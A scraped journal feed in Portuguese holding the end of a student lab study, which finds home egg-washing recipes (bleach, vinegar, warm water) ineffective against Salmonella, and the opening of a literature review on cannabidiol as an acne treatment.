<p class="wp-block-paragraph">Conter a propagação da&nbsp;<em>Salmonella</em>&nbsp;envolvem protocolos que se iniciam desde a produção domiciliar, pequenos criadouros, fazendas e linhas de produção industrial, até que os produtos cheguem à mesa dos consumidores. Os esforços para o controle devem ser rigorosos quanto aos padrões de segurança alimentar e precisam envolver os setores público e privado. A Organização Mundial da Saúde (OMS) salienta que o controle de&nbsp;salmonelas<em>&nbsp;</em>precisa atingir toda a cadeia alimentar, e cabe aos setores de vigilância em saúde de programas nacionais e regionais, promover e dispor aos consumidores orientações quanto às práticas adequadas de higiene durante a manipulação e armazenamento dos alimentos em domicílio, estudos e informações científicas, e a conscientização sobre a salmonelose a todos os estratos da população (EHUWA, A. JAISWAL &amp; S. JAISWAL, 2021). </p>



<p class="wp-block-paragraph">Esta pesquisa teve a intenção de validar hipóteses a respeito da efetividade de receitas encontradas na <em>internet</em> com o título e objetivo de “descontaminar” ou limpar ovos de galinha em domicílio pelo consumidor final.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. METODOLOGIA</strong></p>



<p class="wp-block-paragraph">Para responder a lacuna proposta, como estratégia de pesquisa, primeiramente realizou-se a recuperação dos artigos científicos a respeito da <em>Salmonella</em>, ovos de galinha, contaminação por <em>Salmonella</em>, nas plataformas para a busca da literatura científica: <em>Scientific Electronic Library Online</em> (SciELO), <em>Pubmed</em>, e&nbsp; <em>Elsevier</em>, na língua inglesa e portuguesa. Na etapa da reprodução laboratorial três opções populares de receitas domiciliares foram selecionadas no site de busca <em>Google</em>, a primeira indicava o uso de água diluída em hipoclorito de sódio (cloro), descrita da seguinte forma: “os&nbsp;ovos&nbsp;devem ser colocados em uma solução de água com cerca de 10 gotas de hipoclorito de sódio por, mais ou menos, 10 minutos”. Nesta receita não havia critério para a quantidade de água a ser diluída, para reprodução foi aplicado 1000 mL de água da torneira, critério pesquisado no site da Secretaria do Estado da Agricultura, Abastecimento, Aquicultura e Pesca (SEAG), publicado em “Aprenda a higienizar corretamente alimentos” de 2020. </p>



<p class="wp-block-paragraph">A segunda recomendava a diluição de água com vinagre, descrição: “O<strong> </strong>vinagre funciona mais para matar bactérias, mas pode ficar mais caro para o consumidor porque é um produto que não deve ser muito diluído. A acidez do vinagre é eficiente para higienizar alimentos, mas o produto precisa estar em maior quantidade. Ele é até mais saudável do que o hipoclorito de sódio. É recomendável, no caso do vinagre, que se dilua cerca de 40% a 50% para cada litro de água”, publicado <em>online</em> pela Agência de Brasília em 2020. Nesta receita não havia critérios definidos para reprodução, desta forma foram adotados: imersão de 5 minutos para os ovos em 1000 mL: 40% de vinagre com 60% de água. </p>



<p class="wp-block-paragraph">A terceira opção recomendava o controle de temperatura para tal fim, descrição: “Como limpar ovos: encha uma vasilha com água entre 40 °C a 45 °C.&nbsp;Coloque os ovos. Use um termômetro para ter certeza de que a água está entre 40 °C a 45 °C, e evitar a contaminação por bactérias”, disponível no site <em>Wiki How</em>. Nesta receita não havia critério para o tempo, desta forma, para a reprodução foi aplicado 1 minuto em imersão de 1000 mL de água a 45°C, para não excitar o cozimento e preservar o choque térmico. </p>



<p class="wp-block-paragraph">Com o objetivo de avaliar quantitativamente os resultados destas receitas, os ovos foram avaliados baseando-se no crescimento microbiológico em pré e pós-reprodução de forma concomitante. Para a confirmação da efetividade foram utilizados os ágares: Müeller-Hinton, meio não seletivo e não diferencial usado para pesquisas controladas, MacConkey, meio seletivo e diferencial para bactérias Gram-negativas e entéricas, e Xilose Lisina Desoxicolato&nbsp;(XLD), meio seletivo, pois inibe as Gram-positivas e flora de fundo, diferencial por diferenciar as entre bactérias <em>Salmonella</em> e <em>Sherigella</em> indicado para amostras clínicas e de alimentos. </p>



<p class="wp-block-paragraph">Para estas replicações foram utilizados 73 ovos de galinha, separados em lotes 1,2,3 e 4, cada lote compunha 9 ovos demarcados com o número do lote correspondente e letras alfabéticas de A à I (1/a&#8230;1/i, 2/a&#8230;2/i, 3/a&#8230;3/i, 4/a&#8230;4/i), separados segundo o ágar ao qual foi submetido,&nbsp; incluindo retestagens. Ao final, para cada metodologia haviam sido testados 27 ovos, em ágar Mueller-Hinton e MacConkey, com o adicional de 19 testagens em ágar XLD para avaliar isoladamente o crescimento da <em>Salmonella typhimurium.</em> Para a avaliação da eficácia da redução frente à cepa ativada, foram testadas nos ovos do lote 1&nbsp; previamente inoculados com o auxílio de um <em>swab</em> estéril (≈0,5 mL)<strong> </strong>do caldo <em>Salmonella</em><strong> </strong>em movimentos circulares na parte externa – casca (diluição 1:10 em 9 mL, tubos). Houve uma confirmação adicional, de 10 ovos para o lote em questão, o objeto foi confirmar o resultado de eficácia frente à replicação utilizando “água e cloro”, a receita desempenhou em 100% a favor da redução (apêndice A). </p>



<p class="wp-block-paragraph">Os ovos previamente identificados foram testados em pré-higienização, para verificar o crescimento microbiológico antes da reprodução das receitas, em seguida, os ovos (em trio) foram submersos nas composições sugeridas e pelo tempo indicado para o pós-higienizado. Em sequência, passando o <em>swab</em> estéril (semeadora) na casca externa e novas culturas foram inoculadas, estria simples, figura 1, possibilitando o comparativo de crescimento em cada uma. As culturas contaminadas foram incubadas por 48 horas a 37°C (estufa modelo Fanem 502).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="368" height="259" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-1377.png" alt="" class="wp-image-242097" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-1377.png 368w, https://revistaft.com.br/wp-content/uploads/2025/10/image-1377-300x211.png 300w" sizes="(max-width: 368px) 100vw, 368px" /></figure>



<p class="has-text-align-center wp-block-paragraph">(Figura 1: transferência do inóculo e semeadura nos meios. Fonte: o autor).</p>



<p class="wp-block-paragraph">O potencial hidrogeniônico das diluições: água e hipoclorito de sódio pH 7,84, água e ácido acético pH 2,11, água de torneira pH 7,56. Para a avaliação dos resultados, todas as culturas foram fotografadas, pré e pós segundo cada testagem (imagem 1). Consideraram-se os critérios de padrão microbiológico de alimentos da Agência Nacional de Vigilância Sanitária – ANVISA (2020) para a apuração das amostras, positivo para a presença de crescimento biológico, negativo para a ausência de crescimento e tolerância zero para a presença da <em>Salmonella</em> no alimento.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Imagem 1</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="690" height="428" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-144.jpeg" alt="" class="wp-image-242098" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-144.jpeg 690w, https://revistaft.com.br/wp-content/uploads/2025/10/image-144-300x186.jpeg 300w" sizes="(max-width: 690px) 100vw, 690px" /></figure>



<p class="has-text-align-center wp-block-paragraph">(Nota: fotografia comparativa de crescimento microbiológico em pré &#8211; pós, ágar Mueller-Hinton, diluição de água e cloro, ausente de <em>S. typhimurium</em>, amostra 4A, lote 4. Fonte: o autor).</p>



<p class="wp-block-paragraph"><strong>3. MATERIAIS</strong></p>



<p class="wp-block-paragraph">Total de ágar Mueller-Hinton: 57; Total de ágar MacConkey: 77; Total de ágar XLD: 19 (placa de Petri diâmetro 90 mm). Hipoclorito de Sódio 2,5% (cloro): 1.000 mL, ácido acético (vinagre): 3.000 mL, 1 termômetro de cozinha, 1 medidor digital para potencial hidrogeniônico, precisão: ± 0,1 pH (modelo: portátil, fabricante: AUNMAS), ovos de galinhas. Pipeta descartável. <em>Swab</em> estéril&nbsp; para coleta de amostra laboratorial. Cepa ativada de <em>Salmonella</em> sorovar <em>typhimurium</em> em caldo BHI (<em>Brain Heart Infusion</em>). Referência: código PA261, lote 46106, validade: 14 de julho de 2023. Vidraria: tubos de ensaio de vidro com fundo cilíndrico 9 mL, Becker de 2 litros. Kit para coloração de Gram.</p>



<p class="wp-block-paragraph"><strong>4. RESULTADOS&nbsp;</strong></p>



<p class="wp-block-paragraph">A recuperação biológica da superfície do alimento após a testagem das receitas domiciliares indica a efetividade da redução ou não de cada metodologia conforme apresentado no gráfico 1, especificações em apêndice B, a baixa margem de erro ≈ 0,7%, sugere que não há diferenças significativas entre os resultados dos métodos testados caso haja a presença da <em>S. typhimurium</em> (ST) ou não. Ao serem submetidos à cultura em ágar Müeller-Hinton, meio utilizado para a determinação do crescimento microbiológico e indicadores de contaminação associados a risco, em nenhuma das receitas apresentaram efetividade para tal fim. Apesar do resultado positivo para inibição em uma única amostra (4A) em “água e hipoclorito de sódio”, este é um resultado insatisfatório. Em ágar MacConkey meio seletivo para recuperação de bactéria Gram-negativa, e diferencial para as fermentadoras e não fermentadoras de lactose, as replicações apresentaram resultados médios superiores a 40% para a redução. Quanto à avaliação do desempenho para o crescimento biológico na superfície dos ovos utilizando os resultados dos meios Müeller-Hinton e MacConkey para compor a sobreposição e análise da valência das receitas no pós, possibilitando construir um conceito frente totalidade microbiológica obtida a partir da média de ambos os resultados segundo cada receita, sem a presença da bactéria da <em>Salmonella</em>, as reduções efetivas das colônias foram: diluição de água e hipoclorito de sódio (cloro) resultou em uma redução de 21,4%, água com ácido acético (vinagre) reduziu 31,3%, e água aquecida (45°C) apresentou uma redução de 23,1%, gráfico 2.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 1:</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="645" height="385" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-1378.png" alt="" class="wp-image-242099" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-1378.png 645w, https://revistaft.com.br/wp-content/uploads/2025/10/image-1378-300x179.png 300w" sizes="(max-width: 645px) 100vw, 645px" /></figure>



<p class="has-text-align-center wp-block-paragraph">(Nota: comparação da redução dos métodos havendo ou não a cepa patogênica da <em>Salmonella typhimurium</em> (ST) nas amostras. Média com ST: 24,6%; Aquecimento: 23,1%;&nbsp; Cloro: 21,4%;Vinagre: 31,3%.&nbsp; Média sem ST: 25,3%. Aquecimento: 21,1%;&nbsp; Cloro: 30,0%;Vinagre: 22,7%.).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 2:</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="922" height="463" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-1379.png" alt="" class="wp-image-242102" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-1379.png 922w, https://revistaft.com.br/wp-content/uploads/2025/10/image-1379-300x151.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-1379-768x386.png 768w" sizes="(max-width: 922px) 100vw, 922px" /></figure>



<p class="has-text-align-center wp-block-paragraph">(Nota: Análise do desempenho seletivo segundo o meio e a média para microrganismos diversos. Efetividade, a favor da redução das colônias bacterianas nos meios <strong>MacConkey e Müeller-Hinton </strong>recuperadas das amostras naturais pós testagens e <strong>sem</strong> a presença da <em>Salmonella typhimurium</em>).</p>



<p class="wp-block-paragraph"><strong>4.1 Resultados: amostras com </strong><strong><em>S. </em></strong><strong><em>typhimurium</em></strong></p>



<p class="wp-block-paragraph">Com a adição do lote 1, que se refere ao controle previamente inoculado com <em>Salmonella </em>entérica<em> typhimurium </em>a efetividade média das receitas reduziram discretamente os resultados gerais (negativos efetivos, aquecimento, cloro e vinagre) de 25,3% para 24,6%. Ao serem submetidas à prova da cultura em ágar Mueller-Hinton, as receitas apresentaram efetividade média de <strong>≤ 3,7%</strong>. Em ágar MacConkey as replicações apresentaram resultados de redução: Água e hipoclorito de sódio: <strong>62,5%.</strong> Água e ácido acético: <strong>50%. </strong>Água aquecida: <strong>57,1</strong> %, gráfico 3.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 3:</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="923" height="456" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-1380.png" alt="" class="wp-image-242104" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-1380.png 923w, https://revistaft.com.br/wp-content/uploads/2025/10/image-1380-300x148.png 300w, https://revistaft.com.br/wp-content/uploads/2025/10/image-1380-768x379.png 768w" sizes="(max-width: 923px) 100vw, 923px" /></figure>



<p class="has-text-align-center wp-block-paragraph">(Nota: Análise do desempenho seletivo segundo o meio. Efetividade, a favor da redução das colônias bacterianas nos meios <strong>MacConkey e Müeller-Hinton </strong>recuperadas das amostras naturais pós testagens e com a presença da <em>Salmonella typhimurium</em>).</p>



<p class="wp-block-paragraph"><strong>4.2 Amostras lote 1, isolado com </strong><strong><em>S. </em></strong><strong><em>typhimurium</em></strong></p>



<p class="wp-block-paragraph">Em análise individual contra <em>S. typhimurium</em>, os resultados do cultivo no ágar Xilose Lisina Desoxicolato (XLD), meio seletivo e diferencial reconhecido pelo isolamento e identificação desta cepa em amostras de alimentos, revelaram que, após a submissão às testagens das receitas (imagens em apêndice C) a taxa de detecção foi de 33,3% após aquecimento, 100% após a diluição em água e hipoclorito de sódio (cloro), e 0% após a diluição em água e ácido acético (vinagre). A média dos resultados obtidos foi de 44,4%, conforme ilustrado no gráfico 4.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 4:</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="614" height="453" src="https://revistaft.com.br/wp-content/uploads/2025/10/image-1381.png" alt="" class="wp-image-242105" srcset="https://revistaft.com.br/wp-content/uploads/2025/10/image-1381.png 614w, https://revistaft.com.br/wp-content/uploads/2025/10/image-1381-300x221.png 300w" sizes="(max-width: 614px) 100vw, 614px" /></figure>



<p class="has-text-align-center wp-block-paragraph">(Nota: Resultado para <em>Salmonella</em> <em>typhimurium</em> após as amostras terem sido submetidas às testagem das receitas. Meio seletivo: XLD. <strong>Média dos resultados: 44,4%</strong>).&nbsp;</p>



<p class="wp-block-paragraph"><strong>5. DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">No contexto da higienização de ovos de mesa, é essencial avaliar a eficiência dos diferentes métodos aplicados, uma vez que os ovos podem carregar uma variedade de cepas bacterianas, incluindo tanto bactérias não patogênicas quanto patogênicas, como a <em>Salmonella</em>, que pode causar sérios danos à saúde. A eficácia na redução da carga microbiológica externa dos ovos variou entre os métodos de imersão, conforme demonstrado pelos resultados obtidos neste estudo. A ausência de fundamentação científica em muitas receitas caseiras encontradas na <em>internet</em> e frequentemente utilizadas pelos consumidores também reflete uma limitação na literatura, uma vez que esse tema tem sido pouco explorado nos contextos praticados. Isso reforça a insegurança associada aos estigmas relacionados ao consumo de ovos e à ocorrência da salmonelose. Dada à baixa eficácia dos resultados gerais e a pouca diferença encontrada entre a presença da cepa patogênica e de outros microrganismos, não especificados, reforça-se a necessidade de estratégias adequadas para a prática domiciliar da higienização dos ovos de galinha antes do consumo, especialmente em áreas de surtos ou por interessados em adotá-las. Apesar do resultado positivo de 100% da receita testada para a imersão em cloro (hipoclorito de sódio), mensurado no meio XLD, esta pesquisa não avaliou se a concentração comprometeu a qualidade e validade do alimento, nem se os níveis residuais químicos seriam prejudiciais à saúde humana.</p>



<p class="wp-block-paragraph"><strong>6. CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O estudo avaliou a eficácia de receitas caseiras para higienização da superfície de ovos de galinha utilizando como referência a cepa da bactéria <em>Salmonella typhimurium</em>, patógeno comumente associado a ovos. Foram testadas três imersões nas diluições: água com hipoclorito de sódio (cloro), água com ácido acético (vinagre) e água aquecida a 45°C. </p>



<p class="wp-block-paragraph">Nos testes diferenciais em ágar MacConkey, meio de detecção isolada de bactérias Gram-negativas sem a cepa controle, houve redução de colônias de 40% (cloro), 71,4% (vinagre) e 75% (água aquecida). No ágar Xilose Lisina Desoxicolato &#8211; XLD, seletivo e diferencial para <em>Salmonella</em>, observaram-se reduções de 100% (cloro), 0% (vinagre) e 33,3% (água aquecida); Já em ágar Müeller-Hinton, meio para avaliação de contaminações por patógenos diversos, as reduções foram baixas: ≤ 3,7%. </p>



<p class="wp-block-paragraph">Se houver a presença de <em>S. typhimurium </em>na composição heterogênea dos demais organismos na superfície<em> </em>do alimento as reduções foram de 30% (cloro), 22,7% (vinagre) e 21,1% (água aquecida), média. Conclui-se que, embora apresente alguma capacidade de redução microbiológica da casca externa, as receitas caseiras não demonstram eficácia segundo as recomendações adotadas pela ANVISA em padrões microbiológicos de alimentos para <em>Salmonella</em>.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">ANVISA, Agência Nacional de Vigilância Sanitária. <strong>Padrões Microbiológicos de Alimentos</strong> <strong>&#8211; Conceitos e Alterações: Gerência de Avaliação de Risco e Eficácia/Gerência Geral de Alimentos</strong>. Novembro de 2020.</p>



<p class="wp-block-paragraph">EHUWA, Olugbenga, JAISWAL, K. Amit, JAISWAL, Swarna. <em>Salmonella</em>, Food Safety and Food Handling Practices. <strong><em>Foods (MDPI</em></strong>), v. 10, ed. 5, nº 907, p. 1<strong>&#8211;</strong>16, abril de 2021.</p>



<p class="wp-block-paragraph">GANTOIS, Inne, DUCATELLE, Richard, PASMANS, Frank, HAESEBROUCK, Freddy, GAST, Richard, HUMPHREY, J. Tom, VAN IMMERSEEL, Filip.<strong> </strong>Mechanisms of egg contamination by&nbsp;<em>Salmonella&nbsp;Enteritidis. </em>Review<em>. </em><strong><em>FEMS Microbiology Reviews</em></strong>, v. 33, nº<strong> </strong>4, p. 718-738,<strong> </strong>julho de 2009.</p>



<p class="wp-block-paragraph">GAST, R.K.; DITTOE, D.K.; RICKE, S.C. <em>Salmonella</em> in eggs and egg-laying chickens. <strong><em>Critical Reviews in Microbiology</em></strong>. v.50, nº 1, p. 39-60, dezembro de 2022.</p>



<p class="wp-block-paragraph">GONG, Baiyan, LI, Hong, FENG, Yulian, ZENG, Shihan, ZHUO, Zhenxu, LUO, Jiajun, CHEN, Xiankai, LI, Xiaoyan. <em>Prevalence, Serotype Distribution and Antimicrobial Resistance of Non-Typhoidal&nbsp;Salmonella&nbsp;in Hospitalized Patients in Conghua District of Guangzhou, China</em>. <strong><em>Frontiers in Cellular and Infection Microbiology</em></strong>, v. 12, nº 805384, fevereiro de 2022.</p>



<p class="wp-block-paragraph">SEAG, Secretária do Estado de Agricultura, Abastecimento, Aquicultura e Pesca &#8211; Governo do Estado do Espírito Santo. Aprenda a higienizar corretamente os alimentos. Abril de 2020. Disponível em:&lt;seag.es.gov.br/Notícia/aprenda-a-higienizar-corretamente-os-alimentos&gt;. Acesso em agosto de 2023.</p>



<p class="wp-block-paragraph">HIKIHOW. Como limpar ovos: método 2, lavando ovos.&nbsp; Disponível em: &lt;pt.wikihow.com/Limpar-Ovos#Refer.C3.AAncias&gt;. Acesso em agosto de 2023.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente do Curso Superior de Biomedicina da Universidade Tuiuti do Paraná <em>Campus</em> Curitiba; e-mail: fjarosc@gmail.com<br><sup>2</sup>Docente do Curso Superior de Biomedicina da Universidade Tuiuti do Paraná <em>Campus</em> Curitiba. Mestre em Biologia Celular e Molecular (UFPR); e-mail: katia.ospedal@utp.br</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>O POTENCIAL TERAPÊUTICO DO CANABIDIOL (CBD) COMO ALTERNATIVA NO TRATAMENTO DA ACNE</title>
		<link>https://revistaft.com.br/o-potencial-terapeutico-do-canabidiol-cbd-como-alternativa-no-tratamento-da-acne/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Fri, 24 Oct 2025 12:48:13 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 29 - Edição 151/OUT 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=241848</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202510240945 Isabela Antônia AlbaAndré Luís Braghini Sá Resumo: A acne é uma condição dermatológica comum que afeta milhões de pessoas em todo o mundo, sendo desafiador encontrar tratamentos eficazes e bem tolerados. Este artigo investiga uma abordagem inovadora para o tratamento da acne, explorando o potencial do canabidiol (CBD). A revisão literária foca [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202510240945</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Isabela Antônia Alba<br>André Luís Braghini Sá</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo: </strong>A acne é uma condição dermatológica comum que afeta milhões de pessoas em todo o mundo, sendo desafiador encontrar tratamentos eficazes e bem tolerados. Este artigo investiga uma abordagem inovadora para o tratamento da acne, explorando o potencial do canabidiol (CBD). A revisão literária foca nos mecanismos da acne e nas propriedades farmacológicas do CBD, destacando sua interação com receptores cutâneos e suas capacidades anti-inflamatórias. Estudos clínicos recentes apresentam evidências promissoras da eficácia do CBD na redução da inflamação e na melhora das condições de pele em pacientes com acne. A pesquisa também aborda limitações dos estudos atuais, bem como questões de segurança e regulamentação do CBD. A análise dos mecanismos de ação sugere que o CBD pode ser uma alternativa terapêutica viável, especialmente para aqueles que não respondem a tratamentos convencionais. Embora sejam necessárias mais pesquisas para comprovar a eficácia e segurança a longo prazo, este estudo destaca o potencial do CBD na dermatologia e seu papel como uma opção promissora no tratamento da acne.</p>



<p class="wp-block-paragraph"><strong>Palavras-chaves: </strong>Canabidiol; acne; canabinoides; sistema endocanabinoide<strong></strong></p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A pele humana abriga uma vasta gama de micro-organismos, incluindo bactérias, fungos e vírus, cuja presença é essencial para manter a imunidade local e garantir o funcionamento adequado da barreira cutânea. Quando ocorre um desequilíbrio nesse microbioma, podem surgir condições dermatológicas, como dermatite atópica, rosácea, psoríase e, também, a acne (CASTILLO, NANDA e KERI, 2019).</p>



<p class="wp-block-paragraph">Desde os anos 1940, os tratamentos para acne evoluíram significativamente. Inicialmente, foram usados medicamentos orais, mas com o avanço da pesquisa, surgiram novas abordagens, especialmente o uso de fármacos tópicos contendo agentes com propriedades anti-inflamatórias, antibióticas, cicatrizantes e adstringentes. Entre esses, destacam-se o peróxido de benzoíla, a tretinoína, a eritromicina e o ácido azelaico. Atualmente, a escolha do tratamento ideal para a acne é baseada na gravidade da condição, no tipo de lesão e na adesão do paciente ao tratamento. Entretanto, muitos métodos terapêuticos tradicionais são invasivos, o que pode dificultar o tratamento. Isso tem impulsionado a busca por alternativas eficazes e menos invasivas (WUSNIESKI et al., 2019; CAO et al., 2015).</p>



<p class="wp-block-paragraph">Nesse contexto, a planta <em>Cannabis sativa</em>, da família Cannabaceae, mais conhecida como maconha, tem ganhado destaque na pesquisa científica devido aos seus fitocanabinoides. Entre eles, o delta-9-tetrahidrocanabinol (THC) é a substância psicoativa mais conhecida, enquanto o canabidiol (CBD), que não possui efeitos psicotrópicos, têm sido amplamente estudado por suas propriedades farmacológicas (PENHA et al., 2019).</p>



<p class="wp-block-paragraph">A descoberta do sistema endocanabinoide revolucionou a compreensão dos mecanismos fisiológicos e patológicos do corpo humano, especialmente em relação à regulação de processos como a inflamação e a homeostase da pele. Esse sistema, composto por receptores canabinoides, endocanabinoides e enzimas, desempenha um papel crucial na modulação da resposta imunológica e na manutenção do equilíbrio do microbioma cutâneo. Com a identificação dos efeitos benéficos dos fitocanabinoides, como o canabidiol (CBD), surgiram novas possibilidades para o tratamento da acne, uma condição frequentemente associada à inflamação e ao desequilíbrio da flora. Os canabinoides, ao interagirem com os receptores do sistema endocanabinoide, demonstraram potencial para reduzir a inflamação, regular a produção de sebo e promover a cicatrização da pele, posicionando-se como uma alternativa promissora aos tratamentos convencionais. Essa abordagem inovadora não apenas amplia as opções terapêuticas disponíveis, mas também reflete uma tendência crescente em direção a tratamentos que respeitam a biologia natural do corpo e busca soluções (FONSECA et al., 2013; MARTINS et al., 2022).</p>



<p class="wp-block-paragraph">Dentro dessa perspectiva, esta revisão bibliográfica visa explorar estudos científicos que investigam a relação entre o uso de <em>Cannabis sativa</em>, especificamente do fitocanabinoide CBD, e seus potenciais benefícios no tratamento da acne. A análise busca abordar as propriedades anti-inflamatórias, antimicrobianas e, também, antioxidantes do canabidiol, que podem ser essenciais para a regulação da produção sebácea e o controle das lesões inflamatórias associadas à acne. A revisão busca não apenas sintetizar os achados existentes, mas também identifica lacunas no conhecimento atual, apontando para a necessidade de mais pesquisas clínicas robustas que possam comprovar sua eficácia e segurança como alternativa aos tratamentos tradicionais, consequentemente, abrindo possibilidades para que novas leis sejam elaboradas para facilitar o uso dos compostos extraídos da “maconha”.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA</strong></p>



<p class="wp-block-paragraph">Este artigo foi realizado através de uma revisão bibliográfica. Foram utilizadas plataformas como PUBMED, SciELO e Google Acadêmico, todas de acesso gratuito, para a busca de artigos em português, inglês e espanhol. A pesquisa abrangeu o período de publicação de 2000 à 2024. Inicialmente, a pesquisa foi realizada de forma ampla, abrangendo os temas relacionados ao canabidiol (CBD), identificando assim, um total de 119 artigos. Em seguida, aplicaram-se palavras-chave como &#8220;acne&#8221;, &#8220;canabidiol&#8221; e <em>&#8220;cannabis&#8221; </em>para refinar a pesquisa, resultando na exclusão de artigos não pertinentes ao escopo do estudo. Ao final, 51 artigos foram selecionados e utilizados na elaboração deste trabalho.</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>DISCUSSÃO</strong></p>



<p class="wp-block-paragraph"><strong>3.1</strong> <strong>Acne: definição, fisiopatologia e tratamentos atuais</strong></p>



<p class="wp-block-paragraph">A presença na pele humana de uma ampla gama de micro-organismos, que engloba bactérias, fungos e vírus, é crucial para manter a imunidade local e assegurar o correto desempenho da barreira cutânea. Composta pela epiderme, camada externa e fina, e pela derme, mais espessa, a pele protege contra agressões ambientais e regula funções como hidratação e temperatura. As glândulas sebáceas, localizadas na derme, produzem sebo, fundamental para a proteção cutânea, mas seu excesso pode levar a doenças como a acne, resultantes de desequilíbrios nesse ecossistema microbiano (CASTILLO, NANDA e KERI, 2019; VIANA, 2021).</p>



<p class="wp-block-paragraph">Dentre as bactérias colonizadoras da microbiota da pele, a <em>Cutibacterium acnes (C. acnes), </em>antigamente conhecida por <em>Propionibacterium acnes</em>, apresenta-se em maior predomínio. Caracterizada por ser uma bactéria anaeróbica, Gram-positiva, a <em>C. acnes </em>está presente principalmente nas unidades pilossebáceas da pele em contato com os queratinócitos, porém, também pode ser encontrada em áreas não sebáceas e em outros tecidos como intestino, estômago, pulmões entre outros. Dentre suas funções, destaca-se a manutenção da homeostase da pele, por prevenir a colonização de outros patógenos nocivos, mas também atua como um patógeno oportunista em condições inflamatórias, incluindo a acne (DRÉNO et al., 2018; MAYSLICH, GRANGE e DUPIN, 2021).</p>



<p class="wp-block-paragraph">A acne é uma doença inflamatória crônica e multifatorial comum da pele, afetando aproximadamente 80% dos jovens e adolescentes, devido ao estímulo de andrógenos na puberdade, ainda persistindo em uma notória porcentagem após os 25 anos. Ela tem impacto nas unidades pilossebáceas da derme e pode resultar em lesões inflamatórias ou não inflamatórias. Além de potenciais impactos psicológicos significativos, pode ocasionar cicatrizes graves nas áreas mais frequentemente encontradas, como, rosto, tórax, coxas e braços, regiões essas conhecidas por abrigar uma alta densidade de glândulas sebáceas (GRUPO COLOMBIANO.,2019; FOX et al., 2016).</p>



<p class="wp-block-paragraph">A fisiopatologia da acne começa com o aumento da produção de sebo pelas glândulas sebáceas, estimulada pelo aumento da produção de andrógenos, que, combinado com o acúmulo de queratinócitos (células que revestem o folículo piloso), obstruem a abertura do folículo, o que impede a liberação normal do sebo para a superfície da pele, contribuindo para o desenvolvimento de lesões acneicas. Isso cria um ambiente favorável para a proliferação da bactéria <em>Cutibacterium acnes (C. acnes), </em>que consome o sebo e gera uma infecção, resultando na formação de espinhas. As lesões são caracterizadas por comedões e uma bolsa de secreção ao redor. Esses processos refletem os quatro fatores principais da patogênese multifatorial da acne: hiperqueratinização folicular, produção excessiva de sebo, aumento da colonização por <em>C. acnes </em>e inflamação, que também são os principais alvos dos tratamentos atuais (CAZAROTTE, 2024; HASSUN, 2000).</p>



<p class="wp-block-paragraph">Visando limitar e tratar os fatores patológicos da doença, a escolha do tratamento da acne é geralmente baseada de acordo com seu grau de severidade, variando de 1 a 5, como&nbsp;demonstrado na tabela 1, podendo envolver aplicação local, intervenção sistêmica e em alguns casos mais graves onde cicatrizes e cistos são predominantes, intervenções cirúrgicas (tabela 2). Contudo, além do grau de severidade, a capacidade de tolerância do paciente a certas substâncias, também deve ser observada, podendo a escolha inadequada do tratamento ocasionar reações adversas indesejadas. (BARROS et al., 2020; BRENNER et al., 2006).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1 </strong>– Classificação e grau de severidade da acne</p>



